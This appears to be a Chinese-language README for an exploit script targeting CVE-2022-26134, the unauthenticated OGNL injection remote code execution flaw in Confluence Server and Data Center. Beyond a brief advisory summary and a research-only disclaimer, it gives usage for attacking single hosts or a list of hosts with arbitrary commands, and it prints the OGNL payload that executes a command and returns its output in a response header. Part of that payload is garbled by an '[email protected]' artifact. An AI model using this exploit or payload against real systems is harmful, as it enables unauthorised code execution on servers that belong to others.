Confluence 预认证远程代码执行（OGNL 注入）(CVE-2022-26134)

Confluence 预认证远程代码执行（OGNL 注入）(CVE-2022-26134)

• 2022年6月2日，Atlassian 发布了其 Confluence Server 和 Data Center 应用的安全公告，强调了一个严重级别的未认证远程代码执行漏洞。该 OGNL 注入漏洞允许未认证用户在 Confluence Server 或 Data Center 实例上执行任意代码。

重要说明

该漏洞利用工具仅用于研究人员演示漏洞。我不建议任何非法行为，也不对任何恶意使用此脚本的行为负责。

• 请求示例

漏洞利用使用说明

python3 exploit.py -h
Usage: exploit.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://target-uri/)
  -f FILEHOSTS, --file=FILEHOSTS
                        example.txt
  -t THREADS_SET, --threads=THREADS_SET
  -m TIMEOUT, --maxtimeout=TIMEOUT
  -o OUTPUT, --output=OUTPUT
  -c COMMAND, --cmd=COMMAND

单个目标利用：

$ python3 exploit.py -u http://xxxxx.com -c id

多目标利用

$ python3 exploit.py -f urls.txt -p -c id

OGNL 表达式

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

参考链接：

• https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

• https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis